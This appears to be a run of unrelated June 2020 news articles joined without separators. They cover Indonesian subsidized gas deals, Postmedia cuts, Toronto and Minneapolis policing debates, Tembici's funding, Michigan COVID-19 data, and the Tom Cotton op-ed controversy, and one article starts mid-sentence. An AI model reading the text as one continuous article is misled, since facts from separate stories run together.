The companies, consisting of a fertilizer maker and six gas distributors, signed letters of agreement (LoA) on Wednesday to secure 231.2 billion British thermal units per day (bbtud) of gas, according to the Upstream Oil and Gas Special Regulatory Taskforce (SKK Migas).

These agreements provide legal and investment certainty over adjusted gas prices following the issuance of several ESDM regulations, SKK Migas head Dwi Soetjipto said in a statement, referring to the Energy and Mineral Resources (ESDM) Ministry.

The companies are set to receive gas that is priced below the domestic market average of US$8 per million British thermal unit (mmbtu).

Read also: 11 companies sign deals to buy gas at lower prices

For end users, the gas is priced at $6 per mmbtu, while the price is around $4 per mmbtu for distributors, which will resell the gas at $6 per mmbtu.

The move is part of the energy ministrys plan to provide 1,188 bbutd of subsidized gas for 197 manufacturers to spur growth in Indonesias manufacturing sector, which makes up one-fifth of the countrys gross domestic product (GDP).

The manufacturers, which include gas-intensive industries such as producers of fertilizer and steel, are slated to receive the cheap gas from 2020 to 2024.

According to Wednesdays signing event, fertilizer maker PT Petrokimia Gresik is to receive the largest share of gas, at 42.4 percent, while national gas distributor PGN and its subsidiaries are slated to receive the second-largest share at 28 percent .

Wijaya Laksana, spokesman of fertilizer holding company Pupuk Indonesia, which owns Petrokimia Gresik, told the Post on Thursday that two other subsidiaries were still undergoing the process to receive the gas, despite being among the eleven that signed deals the previous month.

The large-scale social restrictions (PSBB) enforced by the government to contain the COVID-19 pandemic have affected the productivity of the manufacturing industry, as factories have to limit the number of on-site workers to allow for physical distancing.

Read also: Explainer: What does the oil price crash mean for Indonesia?

Indonesias Purchasing Managers Index (PMI), a gauge of the nations manufacturing activities, hit 28.6 points in May, rebounding from 27.5 the previous month, but still far below the 50-point benchmark that indicates growth, market consultancy IHS Markit announced on Monday.

Meanwhile, Johnny Darmawan, vice chairman for industrial affairs at the Indonesian Chamber of Commerce and Industry (Kadin), pointed out that the incentive for cheap gas had yet to be enjoyed by the companies.

Johnny had a meeting earlier this week with officials from the Industry Ministry as well as business players from Kadin and the Indonesian Employers Association (Apindo).

There are still many companies that have signed agreements but have not received the incentive, he told The Jakarta Post by phone on Thursday.

PGN, in a separate statement on Wednesday, said it planned to distribute the below-market-price gas to industries and gas-fired power plants in Sumatra, Java and the Riau Islands.

Read also: Pertamina, PGN cut revenue targets as weak rupiah, lockdown severely hurt businesses

We are confident that, as industries will receive gas at prices lower than before, this will have a positive impact on the domestic industrys competitiveness, said PGN president director Suko Hartono.

The company is slated to distribute the largest chunk of gas, 35 bbtud, to power plants in West Java, which is Indonesias industrial heartland.
The Winnipeg Sun will stop printing its Monday editions later this month, switching to a digital-only version in a cost-saving measure.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

The Winnipeg Sun will stop printing its Monday editions later this month, switching to a digital-only version in a cost-saving measure.

At least two other Postmedia Inc.-owned papers in the Prairies  the Regina Leader-Post and the Saskatoon StarPhoenix  are making the change starting June 22. The Sun will move to a Tuesday-Sunday print cycle, and the Saskatchewan papers will shift to Tuesday-Saturday. Readers will instead have access to an e-edition, which is available to subscribers. The price for subscription will not change.

The move was announced on the Suns website, as well as the Leader-Posts, Thursday morning.

"This is a cost savings initiative," said Phylisse Gelfand, Postmedias vice president of communications in an email to the Free Press. "The cost savings from not printing on this traditionally low revenue day will come from production, print and distribution expenses."

Gelfand said no editorial or sales jobs will be affected.

The elimination of a Monday print product comes on the heels of a financially turbulent few months for the newspaper publishing industry, which saw print advertising revenue drop substantially. Postmedia, which is the countrys largest publisher, was not immune: in April, 15 community newspapers it ran across Canada, including several in Manitoba, were shut down, some after a century of production. Those closures included 30 permanent layoffs and salary reductions ranging from five to 30 per cent for certain employees.

Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement.

Postmedias second-quarter 2020 financial report reveals the depths of the impact of COVID-19 on the publishing companys bottom line. Revenue for the quarter this year was $134.2 million, compared with $145.7 million last year, an 11.7 per cent drop. Much of that change was attributed to a $9.9-million loss in print advertising revenue; that was offset by a $1.5-million increase in digital revenue, but only slightly.

However, revenues for the company had already been decreasing before COVID-19s impact was felt. For the six-month period ending Feb. 29, Postmedia revenues decreased by 8.2 per cent as compared to the same period in the previous year. That decrease was primarily attributed to a 16.7 per cent decrease in print revenue. Net losses for the period were $15.8 million, more than double the net losses of the six-month period in the previous year.

With COVID-19, the company saw those losses compounded, making cost-saving measures like the e-edition more attractive. In the second-quarter report, Postmedia notes that it has applied to the federal Canada Emergency Wage Subsidy for March 15 through April 11 in the amount of $7.3 million.

"Additionally, the Company has qualified for CEWS for the periods from April 12 to June 6, and anticipates the additional amount for such period to be approximately $13 million to $15 million."

The Suns change to a Monday digital edition leaves the Free Press as the only newspaper in Manitoba with a seven-day print production cycle.

ben.waldman@freepress.mb.ca
The city of Toronto is facing two crises: A massive financial shortfall because of the pandemic and a renewed storm of outrage over police-involved deaths and anti-Black racism with calls to defund the police.

These crises have renewed questions about the citys priorities when it comes to spending.

For the past decade the Toronto Police budget has topped the list of city operating expenses  $1.08 billion in 2020  as a result of what some have criticized as bending to fears about law and order over addressing the roots of violence and social inequities.

Others say reforms pushed by Mayor John Tory, Chief Mark Saunders and the civilian police board have largely failed and dont go far enough to modernize a force that is resistant to change with a union that wields an enormous amount of power.

Amid this criticism there have been fresh calls to defund the police after police-involved deaths at home and in the U.S.

Police spending in Toronto is a prioritization of a very small but powerful minority of peoples perceptions of safety, said Robyn Maynard, a PhD student and Vanier scholar at the University of Toronto who is the author of Policing Black Lives.

At the same time, the city is facing a $1.5-billion shortfall by the end of the year as a result of the COVID-19 pandemic. Can the city spend less on the Toronto Police? And should it?

The average homeowner, through property taxes, will contribute $738 towards the cost of policing this year  the single largest item and 23 per cent of the total $3,141 bill.

In fact, the entire police budget  part of the citys $13.53-billion operating budget  is nearly as much as the budgets for the citys parks and recreation division and childrens services and the Toronto Public Library combined.

Salaries and benefits account of nearly 90 per cent of total police spending. Those wages are locked in to multi-year contracts approved by the Toronto Police Services Board. The current contract, which secured an 11.1 per cent wage increase over five years  more than the increase for any other city employee  expires in 2023.

The policing budget has roughly doubled in the past two decades from the $550 million approved by council in 2000.

In 1999, the Star reported that 46 Toronto Police employees (uniformed and civilian) made more than $100,000  or just over $147,000 in 2019 dollars. Last year, more than 800 members earned that much.

In his first term, Tory pushed for a transformational task force to modernize the police. At the time, Tory said they were committed to making the changes that are necessary to stop the growth in police budgets and to more effectively and efficiently deploy highly trained police officers to fight crime.

In 2016, the task force recommended, among other major changes, something radical for the time: A three-year hiring and promotions freeze that would stop the upwards trend of a budget that had ballooned over $1 billion.

While that moratorium temporarily halted further increases, the budget has since climbed, beyond the level that it was when Tory took office in 2014.

Because of financial difficulties caused by the pandemic, Tory has warned that without intervention from other governments there will need to be significant cuts  including some 500 Toronto Police officers.

But when asked this week about police funding, Tory said the only consideration is that we have to continue to fund them. He said calls to defund the police were not credible.

People want, as much as anything else  a safe city, Tory said.

Saunders, asked Thursday about criticism that the modernization of the force had been too slow, said the transformational task force was a huge success. The current police budget reiterated the need to address societal issues he said police are not responsible for.

We are not responsible for the disease, but we deal with the symptom day after day after day, he said.

When asked whether hed be willing to reduce police funding in order to pay for programs to address the roots of violence, Saunders suggested the force was having trouble keeping up with the volume of calls as it is.

Weve got a role, and that role is to keep the community safe. Now we need other agencies to help offload those responsibilities, he said. Then we can start talking about the reduction.

Toronto police board chair Jim Hart said Thursday that he doesnt think the police budget is too high.

Changes made as part of the police modernization plan have resulted in cost savings, including a reduction of 600 positions  saving $100 million  the civilianization of some roles, and changes to the services shift schedule, Hart said.

But he welcomes public input on the budget, saying its healthy for people to question where their money is spent.

David Soknacki, a former Scarborough councillor and budget chief under David Miller, sat on Torys transformational task force. He said he believes their recommendations have not been fully implemented.

There is a sense that a lot of changes that could have been made more quickly and deeper have not been made, he said.

But hes hopeful changes to training and culture will usher in transformation from the next generation of officers once they reach management levels.

Right now what youre seeing is the service members who have been trained in the ways that existed before transformation  and the pressure was not and is not ongoing to force the change.

Coun. Michael Thompson (Ward 21 Scarborough Centre), who has been a vocal critic of police spending on council, said its not apparent any modernization has actually been achieved.

This police organization  its like climbing a mountain and then having to take another mountain on your back to make the climb, said Thompson, who is the only Black member of council and one of only four visible minorities. It just appears that every effort is made to obfuscate and every effort seems to be well-intended, but the execution leaves a lot to be desired.

During the 2016 budget debate, Thompson  who is now one of the mayors deputies  moved a series of motions to remove between $12 to $24 million from the police budget and spend it instead on community programs like student nutrition, youth spaces and child-care subsidies.

Each motion lost in a 12 to 28 vote. Tory and all of the other members of the mayors inner circle voted against them. Those attempted reductions represented just 1 to 2 per cent of the police spending approved that year, far less than the 10 per cent reduction some are calling for now.

There were forces within city hall that worked against me to make sure the police got their budget, make sure none of my motions were successful, Thompson said, noting Saunders himself came to lobby councillors.

In 2018, Coun. Josh Matlow (Ward 12 Toronto-St. Pauls) tried to remove just $2.61 million in new spending being considered for police surveillance technology and instead spend it on community programs for at-risk youth. That motion lost 12 to 33 with all but one member of the mayors executive supporting him.

If making even more significant changes requires looking at officer compensation and hiring, the police union could be a difficult hurdle to overcome.

Toronto Police Association president Mike McCormack  a well-liked and outspoken character  has publicly criticized the mayor, Saunders and members of the board.

In 2018, the association placed ads accusing Tory and others of putting your safety on hold over staffing levels, with Torys laughing face superimposed over a splashy red 911.

Thompson said the police association is a powerful force and that fear is a factor in the increase of the police budget. He praised McCormack as a skilled communicator.

When there are shootings and so on the police association, the president goes on TV and says, We need more cops because that will solve the problem and everybody starts believing that.

Over the long-term, the data on crime rates shows little direct link between the number of officers and the frequency and severity of serious crimes occurring.

McCormack, in an interview with the Star, said he understands the public wants to discuss the budget, but said calls to defund the police are based on emotion.

McCormack said it isnt fair to suggest the police association is out there saying the sky is falling, give us more cops.

Weve always said, pay them what they deserve, pay them whats fair, hire what you need to do the job, but based on evidence and fact. Lets get away from a subjective narrative.

Anthony Morgan, a racial justice lawyer and manager of the citys Confronting Anti-Black Racism unit, said he supports the sentiment of defunding police and thinks what many people mean is re-investing in communities.

The reality is, there is a finite pool of money from the citys tax base and there is alarming disparity between funding of social well-being services and policing, he said.

For a long time now  more than a decade  police services have dramatically, and I really want to emphasize, dramatically, outstripped the rate at which we fund parks and recreation, social support and housing, shelters, employee benefits, arts and culture.

So what were really talking about is the re-investment of neglected people, neglected communities, Morgan said.

While the mayor touted $18.6 million in investments to tackle the roots of youth violence in the 2020 budget, about half that total was for a $9-million seniors dental care program entirely funded by the provincial government. In all, it was a fraction of the police spending budgeted.

Maynard, the academic and author, added that with a majority of Toronto residents being not white, making police the priority also comes at the expense of most actual Torontonians in the present moment.

It really shows a priority of how the city is intending to manage the vast economic inequality in the city. Its just by policing those people that are being left out and pushed out of more and more access to social services, she said.

Maynard also pointed to a 2018 report from the Ontario Human Rights Commission that found over the previous five years, a Black person in Toronto was 20 times more likely to be fatally shot by the Toronto Police than a white person.

We have to ask, Maynard said, Safety for who?

Jennifer Pagliaro is a Toronto-based reporter covering city hall and municipal politics for the Star. Follow her on Twitter: @jpags

Wendy Gillis is a Toronto-based reporter covering crime and policing for the Star. Reach her by email at wgillis@thestar.ca or follow her on Twitter: @wendygillis

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Tembici, which says it owns 80% of the market share in Latin Americas micromobility space, now has $47 million more in capital to double down on its docked e-bike offering.

The Series B round was led by Valor Capital and Redpoint eventures. The International Finance Corporation (IFC), part of the World Bank Group, and Joa Investimentos also participated in the round. The new funding marks IFC's entry into the micromobility market, a notable move that will allow Tembici to work more closely with city regulators as it expands its e-bike offering.

During the pandemic, in which global funding into tech startups has declined by 20%, the $47 million will allow Tembici to double down on the rollout of more electric bikes, and increase access to bikes in the major cities where the service is operative. The capital will also be used to further invest in R&D.

As Uber scraps thousands of JUMP bikes in San Francisco that sit unused during the pandemic, CEO Tomas Martins tells me that Tembici is seeing increased ridership in Sao Paulo and other Brazilian cities. He says 20 million rides were taken on Tembici bikes in the past year, with 2 million rides happening per month.

Tembici riders are split into two categories, says the CEO. As delivery demand increases during the pandemic shelter in place lockdown, more couriers are using Tembicis bikes to circulate items and food. As Brazilians work from home, commuter rides are declining. But the people who are commuting around cities like Sao Paulo and Rio are choosing Tembici.

Tembici co-founders Tomas Martins and Mauricio Villar

Tembici was co-founded by Tomas Martins and Mauricio Villar in 2010 at the University of Sao Paulo, and scored an early sponsorship from Brazils largest private bank, Itau. Tembici uses a docking station (similar to Citi Bike in New York City) system for the return and removal of bikes. Tembici is operative in Latin Americas main urban capitals such as Sao Paulo, Rio de Janeiro, Salvador, Recife and Porto Alegre in Brazil, as well as Buenos Aires in Argentina and Santiago in Chile.

Story continues

Bicycles will undoubtedly play an important role in the post-pandemic world because theyre being strongly recommended by public health agencies for safe, sustainable transportation for individuals. As more people change their habits, the new investment will help us meet the increasing demand, says CEO Martins.

Tembici says it has learned tons from observing Chinas pioneering micromobility efforts -- but there are some key differences in the Latin America market. Asian mobility companies scaled the dockless solution, but Tembici thinks the docked business model will yield more success and win the favor of Latin American city regulators.

E-bike and scooter makers like JUMP and Mobike became acquisition targets for companies like Uber and WeChat that are building the super app (although there have since been some issues here, as Mobike was removed from WeChats payments system and JUMP pulled its bikes from a handful of cities in the U.S.). However those issues dont seem to be happening in Latin America. While the region has seen consolidation in micromobility over the past few years with Yellow and Grin, micromobility companies have remained relatively independent compared to their foreign super-app owned counterparts.

Scott Sobel, managing partner at Valor, is joining Tembicis board of directors, along with Redpoint managing partner Romero Rodrigues. Sobel says we can expect to see more government partnerships and eventually consolidation from micromobility companies in Latin America in the future.
The Ghana Private Road Transport Union (GPRTU) says its members can no longer continue to load their vehicles at less capacity.

The Union is asking government to allow them as the situation continue to collapse their businesses.

The drivers and owners of vehicles are lamenting what they say is huge financial losses as a result of the current system which requires they halve their passenger capacity to ensure social distancing.

Speaking to Starr News, the Chairperson of GPRTU Kwame Kumah said: Now with the measures and explanation put in place with the covid-19 safety protocols we cant take the normal passengers that we take.

According to Mr Kumah, when their vehicles break down, they dont have money to repair it.

We have petitioned the Transport Ministry to, as a matter of urgency review the directive, he said.

He also added that they are pleading to the government to allow them to take normal passengers so that they can get something to feed their family and expect the government to review the directive.

---starrfmonline
Michigans average coronavirus deaths reported per day is down to 30 -- the lowest seven-day moving average since March 27.

On Friday, June 5, the health officials announced 284 new confirmed cases of coronavirus and 20 new deaths, according to data from the Department of Health and Human Services.

The new additions push the states totals to 58,525 known cases of COVID-19 and 5,615 deaths linked to the infectious respiratory virus in less than three months

Michigans seven-day moving average for reported cases is 272 per day. Its the lowest since March 21, and marks a continued downward trend from the seven-day average of 387 cases per day from a week prior.

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Dr. Joneigh Khaldun, MDHHS chief medical executive and chief deputy, said Friday the state remains on an encouraging trajectory as new cases continue to decline. That trend has allowed the state to continue moving forward with its phased re-opening of the economy.

Related: Northern Michigan will soon reopen further, allow bigger gatherings

The health department also unveiled a new data reporting platform Friday. It shows new information including the number of probable cases and probable deaths, as well as a county-by-county breakdown of testing. The dashboard didnt immediately update the county-level data for Fridays newly reported cases and deaths.

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Northern Michigan -- Regions 6 and 8 -- is reporting fewer than five confirmed cases per day per 1 million people, according to Khaldun. Similarly, the Lansing region is reporting fewer than seven cases per day per 1 million people, and the Detroit, Kalamazoo, Saginaw and Jackson areas are reporting fewer than 20 new cases per day per 1 million people.

The Grand Rapids region is reporting about 27 cases per day per 1 million people, but Khaldun said the area has seen declines in that rate for the last two weeks.

At least 38,099 individuals with COVID-19 have recovered, meaning they survived at least 30 days after the onset of their symptoms. The state reports new recovery data every Saturday.

As a state, Michigan reported a 5-percent rate of positive tests over the last two weeks. The rate of positive tests continues to decline as testing has become more widely available.

During the last week, Michigan has averaged more than 15,000 diagnostic tests per day. Thats compared to about 5,000 per day in April. State officials hope to get up to 30,000 tests per day in the near future, and are encouraging Michiganders to get tested if they:

Have any symptoms of COVID-19, even minor;

Have to leave home to work, and especially if they work close to others;

Have been around others who have had symptoms of COVID-19.

Dozens of Michigans 250 testing locations offer free testing, and individuals seeking a test no longer need a doctors note to get one.

To find a testing site near you, check out the states online test finder, here, send an email to COVID19@michigan.gov, or call 888-535-6136 between 8 a.m. and 5 p.m. on weekdays.

For more statewide data, visit MLives coronavirus data page, here.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Read more on MLive:

Michigan restaurants can reopen June 8  but many wont be ready

Gov. Whitmer responds to lack of social distancing at protests against police brutality

Friday, June 5: Latest developments on coronavirus in Michigan
The city of Minneapolis banned the use of chokeholds by the police on Friday amid outrage over the death of George Floyd.

Negotiators for the city agreed with the state of Minnesota to not only ban chokeholds but to require officers to report and intervene anytime they see an unauthorized use of force by another officer.

It was announced as the Minneapolis City Council held an emergency meeting to discuss what changes need to be made to the police department in the wake of Floyds death.

At least four members of the 13-person council have voiced support for the department's complete disbanding.

Instead, the council members are suggesting 'a transformative new model for public safety' that could involve sending social workers or medics to some calls now being handled by police.

Four members of the Minneapolis City Council are pushing for the police department, pictured, to be disbanded and policing in the city to be transformed

The changes to the police department policy come after a video of Floyd's death showed former police officer Derek Chauvin kneeling on his neck for more than eight minutes as Floyd told them he couldn't breathe.

Three other officers - J Alexander Kueng, Thomas Lane and Tou Thao - were also there but did not intervene. All four were dismissed last week and later arrested and charged.

Floyd's death has sparked nationwide protests against police brutality, leading to the conduct of the Minneapolis police to be investigated.

On Friday, the city ban on chokeholds was announced as part of a stipulation posted online between the city and the Minnesota Department of Human Rights, which launched a civil rights investigation this week in response to the death of George Floyd.

The agreement, which would require court approval, would become enforceable in court, unlike the departments current policies on the use of force and duties to intervene.

It was passed unanimously by the city council in their emergency meeting.

The agreement would require any officer, regardless of tenure or rank, to immediately radio or phone in from the scene the use of any neck restraint or chokehold to their commander or their commanders superiors.

Similarly, any officer who sees another officer commit any unauthorized use of force, including any chokehold or neck restraint, must try to intervene verbally and even physically. If they dont, theyd be subject to discipline as severe as if they themselves had used the prohibited force.

The agreement also would require authorization from the police chief or a designated deputy chief to use crowd control weapons, including chemical agents, rubber bullets, flash-bang grenades, batons, and marking rounds. And it would require more timely decisions on disciplining officers.

Agreement was reached between the city and the state as at least four members of the 13-person city council voiced support for the police department's disbanding.

Among them is city council member Jeremiah Ellison who said that a different approach to policing in the city was 'really past due'.

A disbanding of the department is not supported by Minneapolis Mayor Jacob Frey, however, who is instead in favor of starting a new contract with the police union, according to KSTP.

Minneapolis Mayor Jacob Frey, pictured, does not support the disbanding of the police department but has called for a different kind of reform to improve accountability

Mayor Frey said that the city is 'figuring out how to provide necessary discipline and determination so we can have the culture shift and the accountability measures in place that are so necessary'.

But councilman Ellison has argued that 'reform doesn't work'.

'The reform movement doesn't work in a lot of ways and possibly when you think about a cost benefit, that policing as we've imagined it has failed,' he said.

'We are going to dismantle the Minneapolis Police Department,' Ellison announced in a tweet.

'And when we're done, we're not simply gonna glue it back together. We are going to dramatically rethink how we approach public safety and emergency response.

The calls to dismantle the police department come after a video of Floyd's death shows former police officer Derek Chauvin kneeling on his neck for more then eight minutes and Floyd told them he couldn't breath.

Three other officers - J Alexander Kueng, Thomas Lane and Tou Thao - were also there but did not intervene. All four were dismissed last week and later arrested and charged.

Floyd's death has sparked nationwide protests against police brutality leading to the conduct of the Minneapolis police to be investigated.

Council member Jeremiah Ellison (pictured left) and City Council President Lisa Bender (pictured right) have both voiced their support for the disbanding of the police department

Ellison's words were backed by city council president Lisa Bender who said, 'we are going to dismantle the Minneapolis Police Department and replace it with a transformative new model of public safety'.

'The Mpls Police Department is not reformable. Change is coming,' added council member Alondra Cano.

Council Member Steve Fletcher announced as early as Tuesday that he was considering the move.

'Several of us on the council are working on finding out, what it would take to disband the MPD and start fresh with a community-oriented, non-violent public safety and outreach capacity,' he said.

Fletcher also wrote an op-ed for Time in which he outlined would replace it, including replacing police with mental health professionals and handing over traffic enforcement to parking enforcement staff.

'We had already pushed for pilot programs to dispatch county mental health professionals to mental health calls, and fire department EMTs to opioid overdose calls, without police officers,' Fletcher wrote.

'We have similarly experimented with unarmed, community-oriented street teams on weekend nights downtown to focus on de-escalation. We could similarly turn traffic enforcement over to cameras and, potentially, our parking enforcement staff, rather than our police department.

'Our city needs a public safety capacity that doesn't fear our residents,' he added.

City Council member Jeremiah Ellison said the disbanding is 'really past due'

City Council President Lisa Bender tweeted her support

Alondro Cano is among the four city council member who have supported the move

Minneapolis City Council member Steve Fletcher has said the department should go

'That doesn't need a gun at a community meeting. That considers itself part of our community. That doesn't resort quickly to pepper spray when people are understandably angry. That doesn't murder black people.

'We can reimagine what public safety means, what skills we recruit for, and what tools we do and do not need.'

Other institutions in the city is also making the decision to severe ties with the police department.

On Wednesday, the Minneapolis Park Board unanimously voted to end its relationship and will no longer would call on the MPD for park event.

The state of Minnesota filed a civil rights charge against the Minneapolis police Department citing George Floyd's death while in custody.

The state's investigation will examine whether the MPD engaged in racial discrimination over the past 10 years.

It was the first time the human rights department has launched a systemic investigation into the largest police department in the state, according to the Minneapolis Star Tribune.

Minneapolis City Council member Steve Fletcher wrote an op-ed for Time this week in which he outlined why he believes the Minneapolis Police Department should be disbanded and replaced by a new system which would involve medics and mental health workers

The City Council met Friday to discuss the state investigation and develop a time frame for its completion after being briefed by Minnesota Department of Human Rights Commissioner Rebecca Lucero and the Minneapolis Civil Rights Director Velma Korbel.

'The timeline for the impact of the [temporary restraining order] is for this weekend,' council president Bender said to the Star Tribune. .

'It's for immediate accountability measures for the Police Department. It's not meant to be anywhere near starting this bigger conversation.'

State Human Rights Commissioner Rebecca Lucero added: 'We are really committed to working very quickly to making sure we can implement some changes immediately. We continue to have that commitment and continue to move forward with that.'

The MPD, pictured here at a demonstration, faced criticism for their response to the George Floyd protests and have been accused of using excessive force

The moves from the council comes after the leader of the Minneapolis police union wrote a letter to its letters blasting the protesters over George Floyd's death as 'terrorists' and branding Floyd himself a 'violent criminal'.

He also called elected officials attempts to find faults in the police department 'despicable'.

'Our chief requested 400 more officers and was flatly denied any,' wrote Lt Bob Kroll president of the Police Officers Federation of Minneapolis. 'This is what led to this record-breaking riot.'

'I've worked with the four defense attorneys that are representing each of the four terminated individuals under criminal investigation, in addition with our labor attorneys to fight for their jobs. They were terminated without due process,' Kroll also claimed of the four officers arrested and charged with Floyd's death.

Council member Fletcher said the letter was 'yet another sign that the department is irredeemably beyond reform'.

Kroll himself has reportedly been the subject of at least 20 internal affairs investigations. For example, as a young officer in 1994 was suspended for five days for using excessive force. This decision was later reversed by the police chief.

According to a Star Tribune report one of several lawsuits filed against Kroll accused him of 'beating, choking and kicking' a biracial 15-year-old boy while 'spewing racial slurs'.

Pictured: Kroll's letter to members of the Police Officers Federation of Minneapolis. In his letter, he defended the four officers fired for the killing of George Floyd, and criticized city officials for their response to subsequent protests and riots

Kroll, pictured in uniform in 2018, now reportedly represents over 800 rank-and-file police offivers, and has led the Police Officers Federation of Minneapolis for five years

He now reportedly represents over 800 rank-and-file police officers, and has led the Police Officers Federation of Minneapolis for five years.

'After watching MPD officers escalate and provoke anger all week, he asserts that if they'd only been allowed to use more violence, they could have put a stop to demonstrations,' Fletcher said.

'This is nonsense. MPD officers chose him as their leader.'

The MPD faced criticism for their response to the George Floyd protests and have been accused of using excessive force.

In one instance, MPD officers and members of the National Guard marched down a residential street in Minneapolis and shot paint canisters at people on their own front porch, while many people have been reportedly shot by rubber bullets.
was eviscerated on Twitter by the New York Times community

Sen. Tom Cotton has questioned why the New York Times backpedaled on his recent op-ed calling for troops to be sent in to quash recent rioting around the country.

The paper posted a mea culpa yesterday over its decision to publish Cotton's incendiary commentary calling for the use of military force against protesters.

The apology comes after writers and staff voiced their grievances on Twitter, and more than 300 non-editorial employees planning a virtual walkout for Friday morning.

Cotton took to Twitter on Friday, noting that the op-ed had not yet generated a single correction that he knew of.

Sen. Tom Cotton questioned why the New York Times backpedaled on his recent op-ed calling for troops to be sent in to quash rioting seen in recent days connected to the George Floyd protests. He is pictured during a Senate Intelligence Committee hearing last month

Cotton took to Twitter on Friday, noting that the op-ed had not yet generated a single correction that he knew of

'Lots of talk about fact checking from @nytimes. But nearly 48 hours after publication, not a single correction issued. Keep on looking, @nytimes! I'm sure you can find a misplaced comma or quotation mark to justify surrendering to the woke mob' he wrote in a tweet.

His comments were directed at Times reporter Hiroko Tabuchi, who had said on Twitter that the piece had not been properly vetted by the newspaper's most experienced fact-checkers.'

Staffers around the same time met in for a town hall meeting Friday where it was learned that the paper disputed his claim that he had pitched the theme of the piece.

'From New York Times town hall: op-ed team pitched the piece to Tom Cotton. Not the other way around' tweeted journalist Patrick Coffee who claimed to be privy to the information.

A spokeswoman for the New York Times was not immediately available to elaborate on Coffee's remarks when DailyMail.com reached out.

An unnamed staffer in Cotton's office had told the National Review that that the senator pitched the theme of the op-ed after he discussed the Insurrection Act on Fox and Friends Monday. The act authorizes the president to 'employ the military 'or any other means' in 'cases of insurrection, or obstruction to the laws'.

Staffers met in for a town hall meeting Friday where it was learned that the paper disputed Cotton's claim that he had pitched the theme of the piece. Journalist Patrick Coffee tweeted the information, which he claimed to have been privy to

The staffer said the pitch came along with another proposal, but it was rejected by the Times.

Cotton, a Republican senator from Arkansas, in the final piece would call for the 'overwhelming show of force to disperse, detain and ultimately deter lawbreakers' from the various protests that have spawned across the United States following the death of George Floyd and Breonna Taylor.

Three drafts of the op-ed were edited, the staffer claims. Editors focused on clarity and style in the first two drafts and then switched to fact-checking on the third. 'It was pretty rigorous. We were going into the weeds,' the staffer tells the National Review.

The Republican senator from Arkansas took to his op-ed on Wednesday to call for the 'overwhelming show of force to disperse, detain and ultimately deter lawbreakers'

However, Eileen Murphy, a spokeswoman for the Times, said Thursday: 'We've examined the piece and the process leading up to its publication.'

'This review made clear that a rushed editorial process led to the publication of an op-ed that did not meet our standards,' Murphy added.

'As a result, we're planning to examine both short-term and long-term changes, to include expanding our fact-checking operation and reducing the number of op-eds we publish.'

Jonathan Turley, a law professor at George Washington University, told the Washington Post: 'The attacks on the newspaper capture the rising intolerance for opposing views in our society.'

He said it was 'chilling' that journalists were demanding what should be published.

The article was initially defended by publisher AG Sulzberger (left) who said the paper aimed to share 'views from across the spectrum'. The newspaper's page editor James Bennet (right) also defended the decision to publish. 'To me, debating influential ideas openly, rather than letting them go unchallenged, is far more likely to help society reach the right answers,' he said

'This is akin to priests campaigning against free exercise of religion. . . . I never thought I would see the day where writers called for private censorship of views,' he added.

More than a dozen journalists called in sick on the day after the piece was published, the Guardian reported.

Pulitzer prize winner Nikole Hannah-Jones tweeted that 'as a black woman, as a journalist, I am deeply ashamed that we ran this.'

The article was initially defended by publisher AG Sulzberger who said the paper aimed to share 'views from across the spectrum'.

Tom Cotton's op-ed was eviscerated on Twitter by the New York Times community and many readers declared their intent to stop reading the publication altogether

Op-ed contributor and author Roxane Gay declared that the op-ed put black staff at the New York Times in danger

New York Times blunders 2019 - An article praising Ashkenazi Jews for their scientific accomplishments was slammed for suggesting they are more intelligent than other people. Critics said the comments were akin to embracing eugenics. 2019 - A cartoon of US President Donald Trump and Israeli Prime Minister Benjamin Netanyahu showed Trump wearing a kippah leading Netanyahu wearing a Star of David collar. The NYT admitted to using 'anti-Semitic tropes'. 2019 - The paper fired Alison Roman, an up-and-coming chef who used judgemental language in an interview with television personality Chrissy Teigen. 2019 - An article following the El Paso and Dayton shootings, declared, 'Trump Urges Unity Vs. Racism.' The headline, published on the paper's front page, drew condemnation from Democrat politicians. 2018 - Sarah Jeong, who had posted derogatory tweets about white people, was hired as the paper's lead technology writer, drawing criticism from conservatives. 2017 - Police in Manchester, UK, said they were 'furious' with the paper's decision to publish leaked photos showing the scene of the Manchester bombings, including a backpack, nuts and screws, and a device identified as a 'possible detonator'. Manchester police said, as a results, they would stop sharing intelligence with the US. 2019 - The Times posted a cartoon of Trump and Putin as gay lovers, which was criticized as homophobic. They defended its publication. 2017 - The paper's metro editor published an article entitled 'How Vital Are Women? This Town Found Out as They Left to March,' which drew online ire, forcing the editor to issue an apology. 2009 - TV critic Alessandra Stanley's series of errors were corrected by Clark Hoyt, the Times' public editor. 2006 - The paper removed sensitive information regarding the Bush administration's relation with Iran, including that they had offered to negotiate a settlement with the Islamic Republic in 2003 and that they co-operated after 9/11. 2004 - The publication was sued by Dr. Steven Hatfill, a former U.S. Army germ-warfare researcher, for indirectly suggesting he may be a 'likely culprit' in posting anthrax. Hatfill was unable to prove wrongdoing on the part of the Times. 2003 - The paper admitted that one of its writers, Jayson Blair, had committed journalistic fraud over several years. Blair resigned immediately, as did Howell Raines, the executive editor, and Gerald M. Boyd, managing editor. 2003 - Reporter Judith Miller helped the Bush administration to make a case for war in Iraq by claiming that Saddam Hussein 'had or was acquiring' weapons of mass destruction. 1999 - The Times ran stories about the alleged theft of documents from a Manhattan Project lab called Los Alamos in New Mexico by a Taiwanese man named Dr Wen Ho Lee. He was indicted on 59 counts and spent 278 days in solitary confinement. The government was unable to prove the case and President Bill Clinton was forced to apologize. Advertisement

Bennet, despite sources at the paper saying he didn't read the essay before it was published, said it was right to post the piece.

'To me, debating influential ideas openly, rather than letting them go unchallenged, is far more likely to help society reach the right answers,' he said.

'Throughout our history, presidents have exercised this authority on dozens of occasions to protect law-abiding citizens from disorder,' Cotton claimed.

'Nor does it violate the Posse Comitatus Act, which constrains the military's role in law enforcement but expressly excepts statutes such as the Insurrection Act.'

